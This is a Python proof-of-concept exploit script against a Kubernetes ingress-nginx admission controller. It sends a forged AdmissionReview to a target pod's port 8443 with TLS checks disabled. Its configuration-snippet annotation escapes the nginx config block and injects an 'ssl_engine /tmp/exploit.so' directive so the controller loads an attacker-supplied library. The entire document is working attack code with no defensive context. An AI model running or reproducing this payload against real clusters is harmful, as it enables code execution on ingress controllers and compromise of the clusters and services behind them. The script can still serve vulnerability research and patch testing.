import requests
import uuid
import urllib3
import sys

# Suppress insecure request warnings for the PoC
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Check if IP was provided
if len(sys.argv) < 2:
    print("Usage: python3 exploit.py <POD_IP>")
    sys.exit(1)

TARGET_IP = sys.argv[1]
PORT = 8443 

def trigger_exploit():
    admission_review = {
        "apiVersion": "admission.k8s.io/v1",
        "kind": "AdmissionReview",
        "request": {
            "uid": str(uuid.uuid4()),
            "kind": {"group": "networking.k8s.io", "version": "v1", "kind": "Ingress"},
            "resource": {"group": "networking.k8s.io", "version": "v1", "resource": "ingresses"},
            "requestKind": {"group": "networking.k8s.io", "version": "v1", "kind": "Ingress"},
            "requestResource": {"group": "networking.k8s.io", "version": "v1", "resource": "ingresses"},
            "name": "exploit-ingress",
            "namespace": "default",
            "operation": "CREATE",
            "userInfo": {"username": "admin", "uid": "1"},
            "object": {
                "apiVersion": "networking.k8s.io/v1",
                "kind": "Ingress",
                "metadata": {
                    "name": "exploit-ingress",
                    "annotations": {
                        # The core vulnerability: injecting a directive that loads a library
                        "nginx.ingress.kubernetes.io/configuration-snippet": "}}} ssl_engine /tmp/exploit.so; http { server { location / {"
                    }
                },
                "spec": {
                    "ingressClassName": "nginx",
                    "rules": [{"host": "evildomain.com", "http": {"paths": [{"path": "/", "pathType": "Prefix", "backend": {"service": {"name": "none", "port": {"number": 80}}}}]}}]
                }
            }
        }
    }

    # The ingress-nginx admission controller usually listens on /networking/v1/ingresses 
    # or /admissions. Let's try the standard path:
    url = f"https://{TARGET_IP}:{PORT}/networking/v1/ingresses"
    
    print(f"[*] Attempting exploit against {url}...")
    try:
        r = requests.post(url, json=admission_review, verify=False, timeout=5)
        print(f"[+] Status Code: {r.status_code}")
        print(f"[+] Response Body: {r.text}")
    except Exception as e:
        print(f"[-] Connection failed: {e}")

if __name__ == "__main__":
    trigger_exploit()